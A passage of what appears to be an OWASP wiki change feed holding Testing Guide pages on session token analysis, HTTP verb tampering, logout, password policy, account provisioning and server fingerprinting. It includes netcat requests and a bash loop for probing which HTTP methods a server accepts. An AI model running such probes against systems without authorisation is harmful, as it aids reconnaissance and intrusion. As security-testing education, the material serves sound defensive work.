The approach here is to collect a sufficient number of instances of a cookie and start looking for patterns in their value. The exact meaning of “sufficient” can vary from a handful of samples, if the cookie generation method is very easy to break, to several thousands, if we need to proceed with some mathematical analysis (e.g., chi-squares, attractors. See later for more information).&lt;br /&gt;
&lt;br /&gt;
It is important to pay particular attention to the workflow of the application, as the state of a session can have a heavy impact on collected cookies: a cookie collected before being authenticated can be very different from a cookie obtained after the authentication.&lt;br /&gt;
&lt;br /&gt;
Another aspect to keep into consideration is time: always record the exact time when a cookie has been obtained, when there is the possibility that time plays a role in the value of the cookie (the server could use a timestamp as part of the cookie value). The time recorded could be the local time or the server's timestamp included in the HTTP response (or both).&lt;br /&gt;
&lt;br /&gt;
Analyzing the collected values, try to figure out all variables that could have influenced the cookie value and try to vary them one at the time. Passing to the server modified versions of the same cookie can be very helpful in understanding how the application reads and processes the cookie.&lt;br /&gt;
&lt;br /&gt;
Examples of checks to be performed at this stage include:&lt;br /&gt;
* What character set is used in the cookie? Has the cookie a numeric value? alphanumeric? hexadecimal? What happens if we insert in a cookie characters that do not belong to the expected charset?&lt;br /&gt;
* Is the cookie composed of different sub-parts carrying different pieces of information? How are the different parts separated? With which delimiters? Some parts of the cookie could have a higher variance, others might be constant, others could assume only a limited set of values. Breaking down the cookie to its base components is the first and fundamental step. An example of an easy-to-spot structured cookie is the following:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ID=5a0acfc7ffeb919:CR=1:TM=1120514521:LM=1120514521:S=j3am5KzC4v01ba3q&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In this example we see 5 different fields, carrying different types of data:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ID – hexadecimal&lt;br /&gt;
CR – small integer&lt;br /&gt;
TM and LM – large integer. (And curiously they hold the same value. Worth to see what happens modifying one of them)&lt;br /&gt;
S – alphanumeric&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Even when no delimiters are used, having enough samples can help. As an example, let's look at the following series:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
0123456789abcdef&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Brute Force Attacks===&lt;br /&gt;
Brute force attacks inevitably lead on from questions relating to predictability and randomness.&lt;br /&gt;
The variance within the Session IDs must be considered together with application session durations and timeouts.  If the variation within the Session IDs is relatively small, and Session ID validity is long, the likelihood of a successful brute-force attack is much higher.&lt;br /&gt;
A long Session ID (or rather one with a great deal of variance) and a shorter validity period would make it far harder to succeed in a brute force attack.&lt;br /&gt;
* How long would a brute-force attack on all possible Session IDs take?	&lt;br /&gt;
* Is the Session ID space large enough to prevent brute forcing? For example, is the length of the key sufficient when compared to the valid life-span?&lt;br /&gt;
* Do delays between connection attempts with different Session IDs mitigate the risk of this attack?&lt;br /&gt;
&lt;br /&gt;
== Gray Box testing and example == &lt;br /&gt;
If you have access to the session management schema implementation, you can check for the following:&lt;br /&gt;
* Random Session Token&lt;br /&gt;
The Session ID or Cookie issued to the client should not be easily predictable (don't use linear algorithms based on predictable variables such as the  client IP address). The use of cryptographic algorithms with key length of 256 bits is encouraged (like AES).&lt;br /&gt;
* Token length&lt;br /&gt;
Session ID will be at least 50 characters length.&lt;br /&gt;
* Session Time-out&lt;br /&gt;
Session token should have a defined time-out (it depends on the criticality of the application managed data)&lt;br /&gt;
* Cookie configuration:&lt;br /&gt;
** non-persistent: only RAM memory&lt;br /&gt;
** secure (set only on HTTPS channel):  Set Cookie: cookie=data; path=/; domain=.aaa.it; secure&lt;br /&gt;
** [[HTTPOnly]] (not readable by a script):  Set Cookie: cookie=data; path=/; domain=.aaa.it; [[HTTPOnly]]&lt;br /&gt;
More information here: [[Testing_for_cookies_attributes  (OWASP-SM-002)|Testing for cookies attributes]]&lt;br /&gt;
&lt;br /&gt;
==References==&lt;br /&gt;
'''Whitepapers'''&amp;lt;br&amp;gt;&lt;br /&gt;
* RFC 2965 “HTTP State Management Mechanism”&lt;br /&gt;
* RFC 1750 “Randomness Recommendations for Security”&lt;br /&gt;
* Michal Zalewski: &amp;quot;Strange Attractors and TCP/IP Sequence Number Analysis&amp;quot; (2001): http://lcamtuf.coredump.cx/oldtcp/tcpseq.html&lt;br /&gt;
* Michal Zalewski: &amp;quot;Strange Attractors and TCP/IP Sequence Number Analysis - One Year Later&amp;quot; (2002): http://lcamtuf.coredump.cx/newtcp/&lt;br /&gt;
* Correlation Coefficient: http://mathworld.wolfram.com/CorrelationCoefficient.html&lt;br /&gt;
* Darrin Barrall: &amp;quot;Automated Cookie Analysis&amp;quot; –  http://www.spidynamics.com/assets/documents/SPIcookies.pdf&lt;br /&gt;
* ENT: http://fourmilab.ch/random/&lt;br /&gt;
* http://seclists.org/lists/fulldisclosure/2005/Jun/0188.html&lt;br /&gt;
* Gunter Ollmann: &amp;quot;Web Based Session Management&amp;quot; - http://www.technicalinfo.net&lt;br /&gt;
* Matteo Meucci:&amp;quot;MMS Spoofing&amp;quot; - http://www.owasp.org/images/7/72/MMS_Spoofing.ppt &lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&amp;lt;br&amp;gt;&lt;br /&gt;
* OWASP Zed Attack Proxy Project (ZAP) - https://www.owasp.org/index.php/OWASP_Zed_Attack_Proxy_Project - features a session token analysis mechanism.&lt;br /&gt;
* Burp Sequencer - http://www.portswigger.net/suite/sequencer.html&lt;br /&gt;
* Foundstone CookieDigger - http://www.mcafee.com/us/downloads/free-tools/cookiedigger.aspx&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Videos'''&amp;lt;br&amp;gt;&lt;br /&gt;
* Session Hijacking in Webgoat Lesson - http://yehg.net/lab/pr0js/training/view/owasp/webgoat/WebGoat_SessionMan_SessionHijackingWithJHijack/&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=169586</id>
		<title>Testing for HTTP Verb Tampering (OTG-INPVAL-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_HTTP_Verb_Tampering_(OTG-INPVAL-003)&amp;diff=169586"/>
				<updated>2014-03-06T16:36:33Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The HTTP specification includes request methods other than the de-facto standard GET and POST requests. A standards compliant web server may respond to these alternative methods in ways not anticipated by developers.&lt;br /&gt;
&lt;br /&gt;
Although the common description is 'verb' tampering, the HTTP 1.1 standard refers to these request types as different HTTP 'methods.'&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
The full HTTP 1.1 specification [http://www.w3.org/Protocols/rfc2616/rfc2616-sec9.html] defines the following valid HTTP request methods, or verbs:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS&lt;br /&gt;
GET&lt;br /&gt;
HEAD&lt;br /&gt;
POST&lt;br /&gt;
PUT&lt;br /&gt;
DELETE&lt;br /&gt;
TRACE&lt;br /&gt;
CONNECT&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
However, most web applications only need to respond to GET and POST requests - providing user data in the URL query string or appended to the request, respectively. The standard &amp;lt;code&amp;gt;&amp;lt;a href=&amp;quot;&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/code&amp;gt; style links trigger a GET request; form data submitted via &amp;lt;code&amp;gt;&amp;lt;form method='POST'&amp;gt;&amp;lt;/form&amp;gt;&amp;lt;/code&amp;gt; trigger POST requests. Forms defined without a method also send data via GET by default.&lt;br /&gt;
&lt;br /&gt;
Oddly, the other valid HTTP methods are not supported by the HTML standard [http://www.w3.org/TR/REC-html40/interact/forms.html#h-17.13.1]. Any HTTP method other than GET or POST needs to be calletd outside the HTML document. However, JavaScript and AJAX calls may send methods other than GET and POST.&lt;br /&gt;
&lt;br /&gt;
As long as the web application being tested does not specifically call for any non-standard HTTP methods, testing for HTTP verb tampering is quite simple. If the server accepts a request other than GET or POST, the test fails. The solutions is to disable all non GET or POST functionality within the web application server, or in a web application firewall.&lt;br /&gt;
&lt;br /&gt;
If methods such as HEAD or OPTIONS are required for your application, this increases the burden of testing substantially. Each action within the system will need to be verified that these alternate methods do not trigger actions without proper authentication or reveal information about the contents or workings web application. If possible, limit alternate HTTP method usage to a single page that contains no user actions, such the default landing page (example: index.html).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
&amp;lt;br&amp;gt;Because the HTML standard does not support request methods other than GET or POST, we will need to craft custom HTTP requests to test the other methods. We highly recommend using a tool to do this, although we will demonstrate how to do manually as well.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Manual HTTP verb tampering testing===&lt;br /&gt;
&lt;br /&gt;
This example is written using the netcat package from openbsd (standard with most Linux distributions). You may also use telnet (included with Windows) in a similar fashion. &lt;br /&gt;
&lt;br /&gt;
1. Crafting custom HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Each HTTP 1.1 request follows the following basic formatting and syntax. Elements surrounded by brackets &amp;lt;code&amp;gt;[ ]&amp;lt;/code&amp;gt; are contextual to your application. The empty newline at the end is required.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
[METHOD] /[index.htm] HTTP/1.1&lt;br /&gt;
host: [www.example.com]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
In order to craft separate requests, you can manually type each request into netcat or telnet and examine the response. However, to speed up testing, you may also store each request in a separate file. This second approach is what we'll demonstrate in these examples. Use your favorite editor to create a text file for each method. Modify for your application's landing page and domain.&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.1 OPTIONS&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
OPTIONS /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.2 GET&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
GET /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.3 HEAD&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HEAD /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.4 POST&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
POST /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.5 PUT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
PUT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.6 DELETE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
DELETE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.7 TRACE&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
TRACE /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
1.8 CONNECT&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
CONNECT /index.html HTTP/1.1&lt;br /&gt;
host: www.example.com&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
2. Sending HTTP requests&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
For each method and/or method text file, send the request to your web server via netcat or telnet on port 80 (HTTP):&lt;br /&gt;
&amp;lt;pre&amp;gt;nc www.example.com 80 &amp;lt; OPTIONS.http.txt&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
3. Parsing HTTP responses&lt;br /&gt;
&amp;lt;blockquote&amp;gt;&lt;br /&gt;
Although each HTTP method can potentially return different results, there is only a single valid result for all methods other than GET and POST. The web server should either ignore the request completely or return an error. Any other response indicates a test failure - the server is responding to methods/verbs that are unnecessary. Disable them.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
An example of a failed test (ie, the server supports OPTIONS despite no need for it):&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
[[File:OPTIONS_verb_tampering.png]]&lt;br /&gt;
&amp;lt;/blockquote&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Automated HTTP verb tampering testing===&lt;br /&gt;
If you are able to analyze your application via simple HTTP status codes (200 OK, 501 Error, etc) - then the following bash script will test all available HTTP methods.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
&lt;br /&gt;
for webservmethod in GET POST PUT TRACE CONNECT OPTIONS PROPFIND;&lt;br /&gt;
&lt;br /&gt;
do&lt;br /&gt;
printf &amp;quot;$webservmethod &amp;quot; ;&lt;br /&gt;
printf &amp;quot;$webservmethod / HTTP/1.1\nHost: $1\n\n&amp;quot; | nc -q 1 $1 80 | grep &amp;quot;HTTP/1.1&amp;quot;&lt;br /&gt;
&lt;br /&gt;
done&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Code copied verbatim from the Penetration Testing Lab blog [http://pentestlab.wordpress.com/2012/12/20/http-methods-identification/]&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* Arshan Dabirsiaghi: “Bypassing URL Authentication and Authorization with HTTP Verb Tampering” - https://www.aspectsecurity.com/wp-content/plugins/download-monitor/download.php?id=18&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_logout_functionality_(OTG-SESS-006)&amp;diff=169585</id>
		<title>Testing for logout functionality (OTG-SESS-006)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_logout_functionality_(OTG-SESS-006)&amp;diff=169585"/>
				<updated>2014-03-06T16:35:24Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Brief Summary ==&lt;br /&gt;
Session termination is an important part of the session lifecycle. Minimizing the life time of a sessions reduces the probability of the success of session hijacking and other attacks like Cross Site Scripting and Cross Site Request Forgery, which are often targeted against users to access sensible data or functionality which is available in the vulnerable application in authenticated sessions. A secure session termination requires at least the following components:&lt;br /&gt;
&lt;br /&gt;
* Availability of user interface controls for manual logouts performed by the user.&lt;br /&gt;
* Session termination after a given amount of time without activity (session timeout).&lt;br /&gt;
* Proper invalidation of server-side session state.&lt;br /&gt;
&lt;br /&gt;
== Description of the Issue == &lt;br /&gt;
There are multiple issues which can prevent the effective termination of a session. At the first place the user should be able to terminate the session at every time while usage of the web application. Every page should contain a logout button on a place where it is directly visible. Unclear or ambiguous logout functions could cause that the user don't use it.&lt;br /&gt;
&lt;br /&gt;
Another common mistake in session termination is, that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action.&lt;br /&gt;
&lt;br /&gt;
Users of web browsers often don't mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.&lt;br /&gt;
&lt;br /&gt;
The usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to relogin back to the application where the logout was performed just before. On the other side a logout function in a SSO system does not necessarily causes session termination in connected applications.&lt;br /&gt;
&lt;br /&gt;
== Black Box testing and example ==&lt;br /&gt;
'''Testing for logout user interface:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Verify the appearance and visibility of the logout functionality in the user interface. For this purpose, view each page from the perspective of an user who has the intention to logout from the web application.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
There are some properties which indicate a good logout user interface:&lt;br /&gt;
* A logout button is present on all pages of the web application.&lt;br /&gt;
* The logout button should be identified quickly by an user which wants to logout from the web application.&lt;br /&gt;
* After loading of a page the logout button should be visible without scrolling.&lt;br /&gt;
* Ideally the logout button is placed in an area of the page, which is fixed in the view port of the browser and not affected by scrolling of the content.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for server-side session termination:'''&amp;lt;br&amp;gt;&lt;br /&gt;
First, store the values of cookies which are used to identify a session. Invoke the logout function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page which is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the logout function causes that session cookies are set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don't show any vulnerabilities on a particular page, try at least some further pages of the application which are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
No data which should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a login form while accessing authenticated areas after termination of the session.&lt;br /&gt;
&lt;br /&gt;
It should be not necessary for the security of the application, but setting session cookies to new values after logout is generally considered as good practice.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for session timeout:'''&amp;lt;br&amp;gt;&lt;br /&gt;
Try to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the logout behavior appears, the used delay matches approximately the session timeout value.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
The same results as for server-side session termination testing described before are excepted by a logout caused by an inactivity timeout.&lt;br /&gt;
&lt;br /&gt;
The proper value for the session timeout highly depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes normally no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary login requests. There timeouts of an hour and more can be acceptable.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Testing for session termination in single sign-on environments (single sign-off):'''&amp;lt;br&amp;gt;&lt;br /&gt;
Perform a logout in the tested application. Verify if there is a central portal or application directory which allows the user to relogin to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested.&lt;br /&gt;
&lt;br /&gt;
While logged in in the tested application, perform a logout in the SSO system. Then try to access an authenticated area of the tested application.&lt;br /&gt;
&lt;br /&gt;
'''Result Expected:'''&amp;lt;br&amp;gt;&lt;br /&gt;
It is expected that the invocation of a logout function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after logout in the SSO system and connected application.&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
'''Whitepapers'''&lt;br /&gt;
* &amp;quot;The FormsAuthentication.SignOut method does not prevent cookie reply attacks in ASP.NET applications&amp;quot; - http://support.microsoft.com/default.aspx?scid=kb;en-us;900111&lt;br /&gt;
&amp;lt;br&amp;gt;&lt;br /&gt;
'''Tools'''&lt;br /&gt;
* &amp;quot;Burp Suite - Repeater&amp;quot; - http://portswigger.net/burp/repeater.html&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169584</id>
		<title>Testing for Weak password policy (OTG-AUTHN-007)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Testing_for_Weak_password_policy_(OTG-AUTHN-007)&amp;diff=169584"/>
				<updated>2014-03-06T16:34:08Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
The most prevalent and most easily administered authentication mechanism is the humble password. The password represents the keys to the kingdom, but is often subverted by users in the name of usability. In each of the recent high profile hacks that have revealed user credentials, it is lamented that most common passwords are still: 123456, password and qwerty. &lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Determine the resistance of the application's to brute force password guessing using available password dictionaries by evaluating the length, complexity, reuse and aging requirements of passwords.&lt;br /&gt;
&lt;br /&gt;
== How to test ==&lt;br /&gt;
&lt;br /&gt;
# What characters are permitted and forbidden for use within a password?&lt;br /&gt;
# How often can a user change their password?&lt;br /&gt;
# When must a user change their password? After 90 days? After account lockout due to excessive logon attempts?&lt;br /&gt;
# How often can a user reuse a password? Does the application store the user's previous 8 passwords?&lt;br /&gt;
# How different must the next password be from the last password (or however many are stored by the application)?&lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
== References ==&lt;br /&gt;
&lt;br /&gt;
See the OWASP article on [[Brute_force_attack|Brute Force]] Attacks.&lt;br /&gt;
&lt;br /&gt;
== Remediation ==&lt;br /&gt;
&lt;br /&gt;
To mitigate the risk of easily guessed passwords facilitating unauthorised access there are two solutions: introduce additional authentication controls or introduce a password policy. The simplest and cheapest of these is the introduction of a password policy that ensures password length, complexity, reuse and aging.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Test_Account_Provisioning_Process_(OTG-IDENT-003)&amp;diff=169583</id>
		<title>Test Account Provisioning Process (OTG-IDENT-003)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Test_Account_Provisioning_Process_(OTG-IDENT-003)&amp;diff=169583"/>
				<updated>2014-03-06T16:32:40Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
&lt;br /&gt;
The provisioning of accounts presents an opportunity for an attacker to create a valid account without application of the proper identification and authorization process. &lt;br /&gt;
&lt;br /&gt;
== Test objectives ==&lt;br /&gt;
&lt;br /&gt;
Verify which accounts may provision other accounts and of what type&lt;br /&gt;
&lt;br /&gt;
== How to test ==&lt;br /&gt;
&lt;br /&gt;
Determine which roles are able to provision users and what sort of accounts they can provision. &lt;br /&gt;
&lt;br /&gt;
Is there any verification, vetting and authorisation of provisioning requests?&lt;br /&gt;
&lt;br /&gt;
Is there any verification, vetting and authorisation of de-provisioning requests?&lt;br /&gt;
&lt;br /&gt;
Can an administrator provision other administrators or just users? &lt;br /&gt;
&lt;br /&gt;
Can an administrator or other user provision accounts with privileges greater than their own?&lt;br /&gt;
&lt;br /&gt;
Can an administrator/user deprovision themselves?&lt;br /&gt;
&lt;br /&gt;
How are the files/resources owned by the de-provisioned user managed? Are they deleted? Is access transferred?&lt;br /&gt;
&lt;br /&gt;
=== Example ===&lt;br /&gt;
&lt;br /&gt;
In Wordpress, only a user's name and email address are required to provision the user, which can be done by &lt;br /&gt;
[[File:Wordpress_useradd.png|800px]]&lt;br /&gt;
&lt;br /&gt;
De-provisioning of users requires the administrator to select the users to be de-provisioned, selecting Delete from the dropdown menu (circled) and then applying this action. The administrator is then presented with a dialog box asking what to do with the user's posts (delete or transfer them).&lt;br /&gt;
[[File:Wordpress_authandusers.png|800px]]&lt;br /&gt;
&lt;br /&gt;
== Tools ==&lt;br /&gt;
&lt;br /&gt;
While the most thorough and accurate approach to completing this test is to conduct it manually, HTTP proxy tools could be also useful.&lt;/div&gt;</summary>
		<author><name>Davide Danelon</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_(OTG-INFO-009)&amp;diff=169582</id>
		<title>Fingerprint Web Application (OTG-INFO-009)</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Fingerprint_Web_Application_(OTG-INFO-009)&amp;diff=169582"/>
				<updated>2014-03-06T16:31:10Z</updated>
		
		<summary type="html">&lt;p&gt;Davide Danelon: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{Template:OWASP Testing Guide v4}}&lt;br /&gt;
&lt;br /&gt;
== Summary ==&lt;br /&gt;
Web server fingerprinting is a critical task for the Penetration tester. Knowing the version and type of a running web server allows testers to determine known vulnerabilities and the appropriate exploits to use during testing.&lt;br /&gt;
&lt;br /&gt;
There are several different vendors and versions of web servers on the market today. Knowing the type of web server that you are testing significantly helps in the testing process, and will also change the course of the test. This information can be derived by sending the web server specific commands and analyzing the output, as each version of web server software may respond differently to these commands. By knowing how each type of web server responds to specific commands and keeping this information in a web server fingerprint database, a penetration tester can send these commands to the web server, analyze the response, and compare it to the database of known signatures. Please note that it usually takes several different commands to accurately identify the web server, as different versions may react similarly to the same command. Rarely, however, different versions react the same to all HTTP commands. So, by sending several different commands, you increase the accuracy of your guess.&lt;br /&gt;
&lt;br /&gt;
== Test Objectives ==&lt;br /&gt;
&lt;br /&gt;
Identify the version and type of the running web server to determine known vulnerabilities and the appropriate exploits to use during the testing.&lt;br /&gt;
&lt;br /&gt;
== How to Test ==&lt;br /&gt;
&lt;br /&gt;
=== Black Box testing and example ===&lt;br /&gt;
The simplest and most basic form of identifying a Web server is to look at the Server field in the HTTP response header. For our experiments we use netcat. &lt;br /&gt;
Consider the following HTTP Request-Response: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
$ nc 202.41.76.251 80&lt;br /&gt;
HEAD / HTTP/1.0&lt;br /&gt;
&lt;br /&gt;
HTTP/1.1 200 OK&lt;br /&gt;
Date: Mon, 16 Jun 2003 02:53:29 GMT&lt;br /&gt;
Server: Apache/1.3.3 (Unix)  (Red Hat/Linux)&lt;br /&gt;
Last-Modified: Wed, 07 Oct 1998 11:18:14 GMT&lt;br /&gt;
ETag: &amp;quot;1813-49b-361b4df6&amp;quot;&lt;br /&gt;
Accept-Ranges: bytes&lt;br /&gt;
Content-Length: 1179&lt;br /&gt;
Connection: close&lt;br /&gt;
Content-Type: text/html&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From the ''Server'' field, we understand that the server is likely Apache, version 1.3.3, running on Linux operating system.&lt;br /&gt;
&lt;br /&gt;
Four examples of the HTTP response headers are shown below.&lt;br /&gt;
&lt;br /&gt;
From an '''Apache 1.3.23''' server: &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Date: Sun, 15 Jun 2003 17:10: 49 GMT &lt;br /&gt;
Server: Apache/1.3.23 &lt;br /&gt;
Last-Modified: Thu, 27 Feb 2003 03:48: 19 GMT &lt;br /&gt;
ETag: 32417-c4-3e5d8a83 &lt;br /&gt;
Accept-Ranges: bytes &lt;br /&gt;
Content-Length: 196 &lt;br /&gt;
Connection: close &lt;br /&gt;
Content-Type: text/HTML &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
From a '''Microsoft IIS 5.0''' server:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
HTTP/1.1 200 OK &lt;br /&gt;
Server: Microsoft-IIS/5.0 &lt;br /&gt;
